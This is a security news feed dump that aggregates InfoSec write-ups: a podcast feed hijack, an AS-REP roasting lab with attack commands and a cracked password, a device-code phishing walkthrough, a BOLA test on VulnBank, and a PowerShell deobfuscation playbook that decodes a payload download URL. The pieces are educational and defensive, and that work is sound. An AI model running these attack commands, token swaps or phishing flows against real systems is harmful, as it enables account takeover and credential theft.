]]> <![CDATA[Apple TV unveils first trailer for ‘The Dynasty: UConn Huskies’]]> https://tsecurity.de/de/3678350/ios-mac-os/apple-tv-unveils-first-trailer-for-the-dynasty-uconn-huskies/ https://tsecurity.de/de/3678350/ios-mac-os/apple-tv-unveils-first-trailer-for-the-dynasty-uconn-huskies/ Sat, 18 Jul 2026 19:54:23 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[CVE-2022-3647 | Redis up to 6.2.7/7.0.5 Crash Report debug.c sigsegvHandler denial of service (EUVD-2022-43006 / Nessus ID 239773)]]> https://tsecurity.de/de/3678267/sicherheitsluecken/cve-2022-3647-redis-up-to-627705-crash-report-debugc-sigsegvhandler-denial-of-service-euvd-2022-43006-nessus-id-239773/ https://tsecurity.de/de/3678267/sicherheitsluecken/cve-2022-3647-redis-up-to-627705-crash-report-debugc-sigsegvhandler-denial-of-service-euvd-2022-43006-nessus-id-239773/ Sat, 18 Jul 2026 18:42:17 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic, has been found in Redis up to 6.2.7/7.0.5. This affects the function sigsegvHandler of the file debug.c of the component Crash Report. The manipulation leads to denial of service. This vulnerability is documented as CVE-2022-3647. The attack requires being on the local network. There is not any exploit available. The actual existence of this vulnerability is currently in question. It is suggested to install a patch to address this issue. The vendor claims that this is not a DoS because it applies to the crash logging mechanism which is triggered after a crash has occurred.]]> <![CDATA[Two Hobbyists, a Hedgehog Rescue, and an Exciting Hedgehog Tracking Project (Project HEDGE) (emf2026)]]> https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/ https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/ Sat, 18 Jul 2026 18:34:31 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Converting your Android Auto to wireless is easy with an adapter]]> https://tsecurity.de/de/3678095/it-nachrichten/converting-your-android-auto-to-wireless-is-easy-with-an-adapter/ https://tsecurity.de/de/3678095/it-nachrichten/converting-your-android-auto-to-wireless-is-easy-with-an-adapter/ Sat, 18 Jul 2026 15:47:55 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Cursed Objects: making interactive horror props (emf2026)]]> https://tsecurity.de/de/3677923/it-security-video/cursed-objects-making-interactive-horror-props-emf2026/ https://tsecurity.de/de/3677923/it-security-video/cursed-objects-making-interactive-horror-props-emf2026/ Sat, 18 Jul 2026 13:48:01 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[600$ For Stealing Podcasts/Show via RSS Feed Manipulation]]> https://tsecurity.de/de/3677788/hacking/600-for-stealing-podcastsshow-via-rss-feed-manipulation/ https://tsecurity.de/de/3677788/hacking/600-for-stealing-podcastsshow-via-rss-feed-manipulation/ Sat, 18 Jul 2026 11:39:22 +0200 đŸ•”ïž Hacking tsecurity.de

Hello hunters! 👋

In this write-up, I will share a Business Logic Flaw I discovered in a major podcasting platform (redacted.com).

By manipulating a simple XML file (RSS Feed), I was able to bypass the ownership verification process and claim legitimate podcasts as my own. This allowed me to create duplicate entries and hijack the identity of famous podcasts on the platform.

Let’s get into the details! 🚀

The Logic

The target platform allows creators to submit their podcasts using an RSS Feed URL. To verify that you own the podcast, the system reads the <itunes:email> tag inside the RSS file and sends a verification code to that email.

The mechanism:

  1. User submits RSS URL (e.g., mysite.com/feed.xml).
  2. System reads the XML
  3. System extracts email from <itunes:email>owner@example.com</itunes:email>.
  4. System sends a code to owner@example.com.

The Bug

The system failed to fingerprint the content of the podcast to check for duplicates. It trusted any RSS feed as long as the email inside matched the submitter’s account.

This means if I download a famous podcast’s RSS feed, change the email inside it to my email, and host it on a public cloud storage, the system treats it as a new, valid podcast owned by me.

Steps to Reproduce

Here is how I exploited this logic:

1. Pick a Target

I found a valid, already published podcast on redacted.com. I copied their legitimate RSS feed URL.

2. Manipulate the Feed

I downloaded the RSS XML file to my local machine. I opened it and modified two lines:

  1. Title: Changed it slightly (to avoid exact name matches).
  2. Email: Changed the <itunes:email> tag to MY email address (the one I used to sign up on the target site).

The Payload (RSS XML):

<channel>
    <title>HACKED PODCAST NAME</title>    
    <itunes:email>attacker@gmail.com</itunes:email>
</channel>

3. Host the Malicious Feed

I uploaded this modified .rss file to a Google Cloud Storage bucket (or any public cloud storage) to get a valid URL. URL Example: https://storage.googleapis.com/.../exploit.rss

4. Submit & Takeover

  • I went to https://redacted.com/submitـrss.
  • I submitted my Google Cloud Storage URL.
  • The system parsed the file, saw my email in the tag, and sent me the verification email.
  • I clicked verify.

Result: The podcast was successfully added to my account! I now controlled a duplicate version of the victim's content on the main streaming platform.

The Impact

This was a simple but effective Logic Bypass.

  • Impersonation: Attackers can claim ownership of content they don't own.
  • Phishing/Spam: Attackers can clone popular podcasts and inject their own descriptions or links.
  • Platform Confusion: Listeners see duplicate versions of the same show.

Remediation

The platform patched this by:

  • Implementing stricter checks on RSS feed content (hashing content to find duplicates).
  • Improving validation to detect if a feed is simply a re-hosted copy of an existing one.

600$ For Stealing Podcasts/Show via RSS Feed Manipulation was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

]]> <![CDATA[How I AES-Roasted My Active Directory Lab (And How to Fix It)]]> https://tsecurity.de/de/3677785/hacking/how-i-aes-roasted-my-active-directory-lab-and-how-to-fix-it/ https://tsecurity.de/de/3677785/hacking/how-i-aes-roasted-my-active-directory-lab-and-how-to-fix-it/ Sat, 18 Jul 2026 11:39:18 +0200 đŸ•”ïž Hacking tsecurity.de

AS-REP Roasting is one of the easiest ways to obtain Active Directory credentials without knowing a password. If a user has Kerberos Preauthentication disabled, the Domain Controller returns an AS-REP response that can be cracked offline.

In this lab, I’ll show how I found a vulnerable account, cracked its password, and authenticated to the domain.

Lab

  • Domain: lab.local
  • DC: 192.168.56.104
  • Attacker: Kali Linux

Step 1 — Guess Usernames

The first step is getting valid usernames.

In a real environment, these could come from LinkedIn, company emails, or OSINT. For this lab, I created a simple users.txt file.

Step 2 — Find Vulnerable Accounts

I used GetNPUsers.py to check whether any user has Kerberos preauthentication disabled.

GetNPUsers.py lab.local/ -usersfile users.txt -dc-ip 192.168.56.104 -no-pass

If an account is vulnerable, Impacket returns an AS-REP hash.

In my lab, the account svc_sql was vulnerable.

Step 3 — Crack the Hash

Next, I saved the hash into hash.txt and cracked it with Hashcat.

hashcat -m 18200 hash.txt /home/<user>/Desktop/GOAD-LAB/GOAD/common-password-list/rockyou.txt

Hashcat recovered the password:

svc_sql : password@123

Since this is an offline attack, the Domain Controller never sees the password guesses.

Step 4 — Verify the Credentials

Finally, I verified the recovered password using NetExec.

netexec smb 192.168.56.104 -u svc_sql -p 'password@123'

Authentication was successful, confirming the credentials were valid.

Why Does This Work?

The account had “Do not require Kerberos Preauthentication” enabled.

Because of this, the Domain Controller returned an encrypted AS-REP response without asking for a password, allowing it to be cracked offline.

If we disable “Do not require Kerberos Preauthentication” will get output like this:

How to Prevent AS-REP Roasting

1. Enable Kerberos Preauthentication

2.Use strong passwords for service accounts

3. Use Group Managed Service Accounts (gMSA)

4. Regularly audit accounts with preauthentication disabled

5. Monitor Kerberos authentication events

Disclaimer: This article is written entirely for educational purposes and to help Active Directory administrators better defend their environments against advanced Kerberos attacks. The AES-Roasting attack showcased here was conducted in a controlled, self-hosted lab environment. Unsanctioned exploitation of these techniques on live, production systems without explicit authorization is strictly against the law. The author is not responsible for any malicious use of this material.

— Written by

Aruvasaga Chithan A

Ethical Hacker & Cyber Security Researcher.

Thanks for reading — your support keeps me writing.
See you in the next article


Linkedin.

How I AES-Roasted My Active Directory Lab (And How to Fix It) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

]]> <![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without
]]> https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/ https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/ Sat, 18 Jul 2026 11:39:11 +0200 đŸ•”ïž Hacking tsecurity.de Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your Password

The most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why traditional MFA awareness alone is no longer enough.

Have You Ever Come Across a Website Like This Below Screenshot? No fake Microsoft login pages. No stealing of passwords. No cloned authentication forms. No obvious browser warnings. Yes that’s device code phishing

At first glance, this page looks completely legitimate.

It carries Microsoft’s branding, displays a verification code, and instructs users to continue their sign-in using the official Microsoft Device Login page. Unlike traditional phishing websites, there are no fake Microsoft login forms, no requests for your password, and no obvious signs that something is wrong.

So, it must be safe
 right?

Not necessarily.

Device Code Phishing has become one of the most effective phishing techniques because it abuses Microsoft’s legitimate authentication workflow instead of attempting to steal usernames and passwords. Since users authenticate directly with Microsoft, many of the traditional warning signs associated with phishing are absent, making these attacks significantly more convincing.

In this article, the ThreatWatch360 team explains how Device Code Phishing works, why it is dangerous, and how attackers leverage this technique to gain unauthorized access to Microsoft 365 accounts without ever asking victims for their credentials.

What is Device Code Authentication?

Before understanding Device Code Phishing, it’s important to understand Device Code Authentication.

Microsoft introduced the Device Code Flow to allow devices with limited input capabilities, such as smart TVs, conference room devices, IoT devices, and command-line applications, to authenticate users.

Instead of entering credentials directly on the device, Microsoft generates a short verification code.

The user then visits Microsoft’s official Device Login page, enters the code, signs in with their Microsoft account, and authorizes the request.

The authenticated session is then linked back to the requesting application.

This workflow is completely legitimate and is widely used by Microsoft-supported applications.

Unfortunately, threat actors discovered they could abuse this authentication flow for phishing.

How Device Code Phishing Works

Unlike traditional phishing attacks, Device Code Phishing does not steal passwords.

Instead, it tricks victims into authorizing an attacker-controlled application using Microsoft’s own authentication infrastructure.

The result is that the attacker receives a valid Microsoft access token after the victim successfully authenticates.

Stage 1 — The Phishing Email

Initial Phishing Email

The attack usually begins with a convincing phishing email.

In our demonstration, the victim receives an email claiming that Microsoft detected unusual sign-in activity and encourages them to secure their account immediately.

The email closely resembles legitimate Microsoft security notifications, making it difficult for many users to distinguish between genuine and malicious messages.

Instead of directing users to a fake Microsoft login page, the email redirects them to an attacker-controlled website.

This subtle difference is what makes Device Code Phishing particularly dangerous.

Stage 2 — The Fake Verification Portal

Device Code Phishing Page

After clicking the email link, the victim is presented with what appears to be a Microsoft verification portal.

The page displays:

  • A Microsoft verification code
  • Instructions explaining how to complete authentication
  • A button that automatically opens Microsoft’s legitimate Device Login page

Everything appears authentic.

Unlike credential phishing pages, this website never asks the user for their Microsoft username or password.

Instead, it simply instructs the user to authenticate through Microsoft itself.

This dramatically increases trust.

Stage 3 — Redirecting to Microsoft’s Official Login Page

Official Microsoft Device Login

Clicking the verification button redirects the victim to Microsoft’s official Device Login page.

Notice the URL.

The browser clearly displays Microsoft’s legitimate domain: login.microsoftonline.com

This is not a fake login page.

This is Microsoft’s real authentication portal.

Since users are interacting directly with Microsoft, many security-conscious individuals believe the request is legitimate.

Stage 4 — Entering the Device Code

Microsoft Device Authentication

The victim enters the code displayed on the phishing website into Microsoft’s official authentication page.

At this point, everything still appears normal.

The authentication process is entirely handled by Microsoft.

No passwords have been stolen.

No fake login page has been displayed.

Yet the attacker is already one step closer to gaining access.

Stage 5 — Microsoft Requests Account Authorization

Account Selection

Once the code is accepted, Microsoft asks the victim to select the account they wish to authorize.

Again, this occurs entirely on Microsoft’s legitimate infrastructure.

Nothing appears suspicious.

Most users assume they are completing a routine Microsoft verification process.

Stage 6 — Granting Access

Authorization Prompt

Microsoft now asks the user to confirm the authentication request.

The victim clicks Continue, believing they are protecting or verifying their Microsoft account.

Instead, they are unknowingly authorizing an attacker-controlled application.

Stage 7 — Authentication Complete

Successful Authorization

Microsoft confirms that authentication has completed successfully.

From the victim’s perspective, everything appears perfectly normal.

There are no error messages.

No warnings.

No indication that their Microsoft session has now been shared with someone else.

Stage 8 — The Attacker Receives the Access Token

Attacker Token Captured dashboard

Behind the scenes, the attacker’s phishing infrastructure immediately receives the Microsoft access token generated during the authentication process.

Unlike traditional phishing attacks, the attacker never needed the victim’s password.

Instead, they now possess a valid Microsoft authentication token issued directly by Microsoft.

Stage 9 — Accessing Microsoft Resources

Searching Microsoft Graph Data

Using the captured token, the attacker can begin interacting with Microsoft Graph APIs according to the permissions granted during authentication.

Depending on the permissions available, this may allow access to resources such as:

  • Outlook email
  • OneDrive files
  • SharePoint data
  • Microsoft Teams information
  • Other Microsoft 365 resources

In our demonstration, the captured token is used to search mailbox content, illustrating how quickly authenticated access can be abused after the victim completes the authorization process.

Why Device Code Phishing Is So Effective

Traditional phishing relies on fake login pages.

Device Code Phishing is different.

The victim authenticates directly with Microsoft.

Every important step occurs on Microsoft’s legitimate domain.

This removes many of the indicators users have been trained to recognize.

There are:

  • No fake Microsoft login pages.
  • No stealing of passwords.
  • No cloned authentication forms.
  • No obvious browser warnings.

Instead, attackers exploit the trust users place in Microsoft’s legitimate authentication process.

Why This Matters

Modern phishing campaigns are evolving beyond simple credential theft. By abusing legitimate authentication workflows, attackers can obtain valid access tokens without ever knowing a user’s password. This makes Device Code Phishing particularly attractive because it blends legitimate authentication with social engineering. Organizations relying solely on user awareness around fake login pages may find these attacks significantly more difficult to detect.

How to Protect Yourself

Although Device Code Authentication is a legitimate Microsoft feature, there are several ways users can protect themselves from Device Code Phishing attacks.

Never authenticate unless you initiated the request.

If you receive an unexpected email asking you to verify your Microsoft account using a device code, stop and verify the request before proceeding.

Check why you are being asked to authenticate.

Ask yourself:

  • Did I start this login?
  • Am I trying to sign in on another device?
  • Was I expecting this authentication request?

If the answer is no, do not continue.

Be cautious of urgent security emails.

Threat actors frequently use messages about unusual sign-in activity, account suspension, or urgent verification to pressure victims into acting quickly.

Review recently authorized applications.

Regularly review the applications connected to your Microsoft account and remove any unfamiliar or unnecessary authorizations.

Revoke active sessions if you suspect compromise.

If you believe you accidentally completed a Device Code Phishing request:

  • Immediately sign out of all active Microsoft sessions.
  • Revoke recently granted application permissions.
  • Change your Microsoft account password.
  • Inform your organization’s IT or Security team.
  • Review your recent sign-in activity for any suspicious access.

Acting quickly can significantly reduce the impact of token-based attacks.

Conclusion

Device Code Phishing demonstrates that modern phishing attacks no longer need to steal passwords to be successful.

By abusing Microsoft’s legitimate Device Code authentication workflow, attackers can trick users into authorizing malicious applications while every authentication step takes place on Microsoft’s official infrastructure.

This makes the attack highly convincing, difficult for users to recognize, and increasingly relevant in modern phishing campaigns.

Understanding how this technique works is the first step toward recognizing suspicious authentication requests and preventing unauthorized access to Microsoft 365 environments.

As attackers continue to shift toward token-based authentication abuse, user awareness remains one of the most effective defenses against these evolving phishing techniques.

Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without
 was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

]]> <![CDATA[I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem]]> https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/ https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/ Sat, 18 Jul 2026 11:21:50 +0200 đŸ•”ïž Hacking tsecurity.de A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBank
VulnBank

There’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually did. For me, that moment was watching one user’s card get funded by another user’s session — no exploit chain, no payload, just a number in a URL that should never have worked.

This is the walkthrough of how I found (and rigorously confirmed) a Broken Object Level Authorization vulnerability in VulnBank, an intentionally vulnerable banking application built for security training.

What Is BOLA, Actually?

Broken Object Level Authorization sits at #1 on the OWASP API Security Top 10 (API 1: 2023), and for good reason — it’s common, trivial to exploit, and quietly devastating.

The core idea in one sentence: the server correctly checks who you are, but never checks what you’re allowed to touch.

Any API endpoint that takes an object identifier — a card_id, account_number, order_id — needs to answer two separate questions:

  1. Authentication: is this a valid, logged-in user?
  2. Authorization: should this specific user be allowed to access this specific object?

BOLA is what happens when an API nails question one and skips question two entirely. Usually it’s one missing clause in a query.

The vulnerable version:

SELECT * FROM cards WHERE id = :card_id

The fixed version:

SELECT * FROM cards WHERE id = :card_id AND user_id = :authenticated_user_id

That’s genuinely the whole difference and because it never breaks anything during normal use (your own IDs always belong to you), it hides in plain sight until someone deliberately tries an ID that isn’t theirs.

So that’s exactly what I did — with two accounts, on purpose, so I could prove it beyond doubt rather than just suspect it.

Setting the Stage: Two Users, Two Cards

Testing BOLA against yourself proves nothing — you always have legitimate access to your own resources. So I set up two separate accounts to simulate a real attacker/victim scenario.

User 1 — Jhonny

  • I created a virtual card with a $2,500 limit.
Jhonny’s Virtual Card
  • I then funded it with $80 from the main balance.
Funding the card

With the funding request captured in Burp Suite, I sent it to Repeater for closer inspection, this is the request whose card_id parameter would become the centerpiece of the whole test.

Jhonny Card Request in Burp

User 2 — Alex

Same setup:

  • A fresh virtual card of $2,500 limit.
Alex’s Virtual Card
  • Funded with $100.
Funding Alex’s card
  • And the same treatment — captured the request and sent it to Repeater.
Alex’s Card Request in Burp

Two accounts, two cards, two independent funding requests sitting side by side. Now the real test could begin.

Step One: Does the App Even Check Who You Are?

Before hunting for authorization flaws, I checked the basics. I stripped the session cookie and Authorization header from a funding request entirely and sent it.

Token error (Authentication enabled)

401 Unauthorized: "Token is missing."

Good! The server clearly enforces authentication. That ruled out the simplest failure mode and pointed straight at the real question: does it check which authenticated user is making the request, or just that one is?

Step Two: The Swap

This is the actual test, and it’s almost anticlimactic in how simple it is.

I took Jhonny’s valid token and used it to fund Alex’s card:

Funding Alex’s card with Jhonny’s Token

200 OK. The card funded successfully with Jhonny's session authorizing a change to Alex's card.

Then I reversed it, Alex’s token, aimed at Jhonny’s card:

Funding Jhonny’s card with Alex’s Token

200 OK again. Same result, opposite direction.

Neither request was rejected. The server verified that a valid token was present but never verified that the token holder actually owned the card they were funding. It simply processed whatever card_id showed up in the URL, against whichever authenticated user happened to be making the call.

Why This Isn’t “Just a Feature”

The first pushback any BOLA finding gets is: “Couldn’t this just be an intentional transfer feature?”

It’s a fair question, and worth addressing directly.

The answer is NO, for a few concrete reasons:

  • There was no recipient search, no username/email lookup, no way to intentionally select another user through the interface.
  • Neither Jhonny nor Alex received any notification or gave any consent.
  • The card IDs used were never exposed to either user by the application itself, they were reached only by directly editing a request in Burp, not by anything the UI ever presented as selectable.
  • Both requests used each user’s own main balance and own token throughout, nothing about the flow resembled a designed transfer mechanism.

A designed feature has guardrails: consent steps, recipient verification, fraud checks. This had none of that, because it was never meant to be reachable in the first place.

The Fix

The remediation here is almost anticlimactic given the impact. This isn’t a hard problem to solve, just an easy one to forget:

  • Every object-level query needs an explicit ownership check tied to the authenticated session: WHERE card_id = ? AND user_id = ?
  • Better yet, enforce this centrally, an authorization layer or middleware that every object-fetching endpoint routes through, rather than relying on each developer to remember it per-endpoint
  • Make cross-account testing a standard part of QA and code review: test with two different authenticated accounts against each other’s objects, not just each account against its own.

The Takeaway

BOLA doesn’t require exotic tooling or deep exploit development. It requires one thing: noticing that an ID in a URL is just a number, and asking whether the server actually checked if you were allowed to use it.

In this case, it hadn’t. Two independent accounts, each fully authenticated, could reach into each other’s resources without so much as a warning.

Authentication tells a server who is asking. Authorization is the separate and often forgotten question of what they’re allowed to ask for?. Every API needs both, and it’s worth checking, endpoint by endpoint, that yours actually has them.

This testing was performed against VulnBank, an intentionally vulnerable application built for security education and training purposes.

I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

]]> <![CDATA[Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics]]> https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/ https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/ Sat, 18 Jul 2026 11:21:48 +0200 đŸ•”ïž Hacking tsecurity.de A full and detailed insight into CLI forensics, going into depth following a TryHackMe lab

Source: TechFusion

For incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a harmless administrative automation tool, or is it an advanced information stealer scraping the credential caches of every corporate browser?

I recommend you first walk through this article and afterwards complete the TryHackMe lab Obfuscation: The Egg Shell File.

The core purpose of this tactical playbook is to provide you with a highly comprehensive, real-world analytical framework so you can confidently dive into the live lab environment (don’t, i say DON’T worry about committing every single execution flag or decoding syntax to memory; the structural muscle memory will lock in during the hands-on exercises).

Let’s cut the fluff and begin:

In modern security operations, the discipline of malware analysis bridges the gap between passive defense and active threat hunting. Using TryHackMe’s foundational lab featuring real-world PowerShell obfuscation strings, this walkthrough guides defenders through the surgical progression required to size up a hostile payload, calculate its technical attributes, map its internal compiled structure, and decrypt its runtime behavior safely.

📋 The Script Triage Checklist

Source: BitLyft

When you capture a suspicious script execution string from your SIEM (Security Information and Event Management) logs, proceed with these steps immediately:

  • Isolate and Copy Safely: Transfer the raw text string into a completely disconnected text editor inside a designated analysis virtual machine.
  • Identify the Execution Flags: Search for evasion switches like -NoP (No Profile), -W Hidden (Window Hidden), or -Enc (Encoded Command), which indicate deliberate bypass actions.
  • Locate Network Anchors: Scan the text string for markers like DownloadString, DownloadFile, curl, or iwr that hint at secondary external downloads.
  • Preserve Casing: Do not run lowercase or uppercase find-and-replace scripts across your sample yet; case variance is often structurally critical to decoding algorithms.

Deep Dive: Stripping the Camouflage

https://www.researchgate.net/figure/The-obfuscation-techniques-of-code-element-layer_fig2_340401812

Let’s look at an actual example of an obfuscated script layer captured directly from an initial access vector payload log.

What to look for in the image: Notice how the raw command string uses a combination of string splitting, character swapping, and nested script blocks. Threat actors do this to bypass static string matching (signatures) used by endpoint detection engines. By analyzing the structural markers, we can map out the exact unpacking routine.

Layer 1: Undoing String Concatenation

GPT Images 2.0 generated photo

Attackers frequently break apart their critical strings using addition operators or variable insertions to stop simple pattern scanners.

# Obfuscated string snippet
$a = "Down"; $b = "load"; $c = "String"
. ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )

The Fix: You don’t have to guess what this does. By loading the script into an isolated PowerShell CLI and replacing the aggressive execution operator (like . or Invoke-Expression / IEX) with a safe print directive like Write-Output, the environment itself will assemble the string for you:

# Safe evaluation technique
Write-Output ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )
# Output result: DownloadString

Layer 2: Demangling Character Shuffling

GPT Images 2.0 generated image

Another popular mechanism involves using format strings to re-order components out of sequence at runtime:

"{2}{0}{1}" -f 'Net.','WebClient','New-Object

The -f operator acts as an indexing map. To decrypt it manually:

  • Position {2} grabs the 3rd element: New-Object
  • Position {0} grabs the 1st element: Net.
  • Position {1} grabs the 2nd element: WebClient

When evaluated sequentially by the command pipeline, it structures clean and functional telemetry: New-Object Net.WebClient.

Layer 3: Defeating Base64 and XOR Rings

GPT Images 2.0 generated figure

The final boss of script obfuscation is almost always an encoded byte block. Base64 is easily recognizable by its standard alphanumeric character set and trailing padding markers (=).

To quickly unwrap these blocks without running the malicious code:

  • Copy the raw payload block inside the command string.
  • Load the payload directly into CyberChef (the open-source utility for security operations).
  • Chain together the From Base64 recipe followed by Decode Text (UTF-16LE).
Input:  aAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AbgBlAHQALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUA
Output: http://malware.net/payload.exe

By working backward through these layers, you quickly isolate the final Indicators of Compromise (IoCs) — such as the secondary payload download URL or target staging paths — allowing your security infrastructure to immediately blacklist the server across the enterprise.

🧠 Strategic Takeaway

(yayy)

The Obfuscation: The Egg Shell File analysis framework underscores a foundational truth of computer network defense: Malware cannot accomplish its mission without leaving a structural or behavioral footprint inside operational logs.

Whether it is a distinct jump in character selection counts, an unexpected system variable concatenation flag, or a sudden burst of hidden network invocation arguments executed entirely from background windows, an obfuscated script pipeline will always reveal its true payload target under systematic scrutiny.

By utilizing platforms like CyberChef to strip back multi-layered Base64 and XOR encoding architectures and verifying those outputs within isolated environments, defenders completely eliminate the guesswork from administrative code reviews.

Go log into the TryHackMe room, reverse the nested string layout structures of the script sample, map out the true operational strings, and transform your defensive triage into an optimized playbook.

📈 Master the Art of System Forensics & Threat Intelligence

The author

Generic security training completely collapses when sophisticated threat groups deploy obfuscated, packed, and tailored payloads across your endpoints.

To ensure you never miss an in-depth threat intelligence playbook pulling back the curtain on advanced binary analysis, active threat hunting, and modern defense frameworks:

  • Follow Pop123 on Medium for immediate notifications on all newly published technical deep-dives, infrastructure hardening playbooks, and reverse-engineering guides.
  • Explore my Security and Machine Learning Projects on GitHub
  • Subscribe to direct email updates by clicking the envelope icon (✉) right next to the follow button so these critical tactical breakdowns land straight in your inbox.

Thank you for reading. This article was entirely written by Pop123. If you found this technical breakdown of the malware analysis matrix valuable, consider leaving a clap and sharing your thoughts, configuration questions, or analytical feedback in the responses below, I am as always open to further discussing the interesting topics!

For collaborations and inquiries: alexandrupp55@gmail.com

Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

]]> <![CDATA[Fine, electric mountain bikes don’t suck]]> https://tsecurity.de/de/3677602/it-nachrichten/fine-electric-mountain-bikes-dont-suck/ https://tsecurity.de/de/3677602/it-nachrichten/fine-electric-mountain-bikes-dont-suck/ Sat, 18 Jul 2026 09:18:28 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Installing Ubuntu 24.04 on corporate laptop Dell Pro 16 Plus PB16255 (AMD) with window-manager: need the practical advise, tips and what setup people are doing!]]> https://tsecurity.de/de/3677361/linux-tipps/installing-ubuntu-2404-on-corporate-laptop-dell-pro-16-plus-pb16255-amd-with-window-manager-need-the-practical-advise-tips-and-what-setup-people-are-doing/ https://tsecurity.de/de/3677361/linux-tipps/installing-ubuntu-2404-on-corporate-laptop-dell-pro-16-plus-pb16255-amd-with-window-manager-need-the-practical-advise-tips-and-what-setup-people-are-doing/ Sat, 18 Jul 2026 04:39:52 +0200 🐧 Linux Tipps tsecurity.de

I’m setting up my corporate/work laptop with Ubuntu 24.04 and need disk encryption as per policy.

Specs:

  • Dell PB16255: AMD Ryzen 7 AI 350 Pro, 32 GB RAM, 1 TB NVMe SSD
  • Planning to use Sway WM / Wayland instead of GNOME

I want a setup that is secure, simple, and flexible. I want to be aware what others are doing and how I can improve my game.

Questions:

  • Should I use Ubuntu’s guided LUKS encryption, or manual LUKS partitioning?
  • Recommended filesystem, partition scheme, layout for 1 TB NVMe?
    • /, /home or /data, swap, EFI, /boot
  • Is separate /home better, and best way with encrypted disk?
  • With 32 GB RAM, should I use swap, zram, or plan for hibernation?
  • Data backup tool?
  • Any tips for Ubuntu 24.04 on newer AMD Ryzen AI hardware?
  • Recommended window manager? I was i3wm user. So preferring sway (due to wayland). any other recommendation?
  • Other recommendation on Terminal emulator, file-manager etc.?

Would appreciate practical advice and pitfalls to avoid.

submitted by /u/Former-Direction9969
[link] [comments]]]> <![CDATA[Google Workspace Weekly Recap - July 17, 2026]]> https://tsecurity.de/de/3677046/web-tipps/google-workspace-weekly-recap-july-17-2026/ https://tsecurity.de/de/3677046/web-tipps/google-workspace-weekly-recap-july-17-2026/ Fri, 17 Jul 2026 23:11:52 +0200 Web Tipps tsecurity.de Google Credential Provider for Windows (GCPW) now supports FIDO2-compliant physical security keys as a second factor for authentication

Google Credential Provider for Windows (GCPW) has been updated to support FIDO2-compliant physical security keys as a second factor for authentication. This update helps organizations improve their security posture by enabling administrators to enforce 2-Step Verification (2SV) using hardware security keys at the Windows login screen. | Learn more.

Improvement to in-room problem reporting for Google Meet hardware

Maintaining an enterprise-grade video conferencing environment requires visibility into the health of its devices. We're introducing new ways to see Google Meet hardware user-reported feedback directly in the Admin console. | Learn more.

New refinement capabilities allow custom editing with Help me write in Gmail

Users can now edit and revise their email drafts in Gmail via the prompt bar, using custom refine instructions in Help me write. Previously the refines were limited to preset options like Polish, Formalize, and Shorten. | Learn more.

Now available: group conversations with external collaborators in Google Chat

For many teams, it’s essential to be able to work in real-time with partners from outside your organization. We’re improving external collaboration in Google Chat by making it possible to create group conversations that include external users. | Learn more.

NotebookLM is now Gemini Notebook

We’re renaming NotebookLM to Gemini Notebook. While it remains a standalone product focused on being your premier research tool, the new name reflects how it will evolve to do more across the Google ecosystem. | Learn more.

Easily control the emotions and pacing of AI avatars and AI voiceovers in Google Vids

Users can now easily steer voiceover and avatar speaking in Google Vids by typing content within brackets like “[excitedly]”. | Learn more.

Expanded language support for Gemini in Google Docs

We are now expanding support for these features to 11 more languages, including Mandarin, Dutch, Malay, Hebrew, Polish, Turkish, Czech, Indonesian, Swedish, Danish, and Norwegian. These new additions join our previously supported languages: English, Spanish, Portuguese, Japanese, French, Korean, German, and Italian. | Learn more.

Generate higher quality AI video clips and edit any video with Gemini Omni in Vids

Users now have access to Gemini Omni directly within Google Vids. Omni provides higher quality video generation with significant improvements over previous models. Additionally, Omni’s world understanding unlocks simple video edits so you can ask Omni to tweak the video you have to get the video you need. | Learn more.

Cast yourself in AI video clips using your personal avatar with Gemini Omni in Vids

Users now have access to Gemini Omni directly within Google Vids. With Gemini Omni, you can create videos using your personal avatar to scale your presence without the studio time. Use a secure verification process to capture your likeness and then select it as a character in Omni generations within Vids. | Learn more.

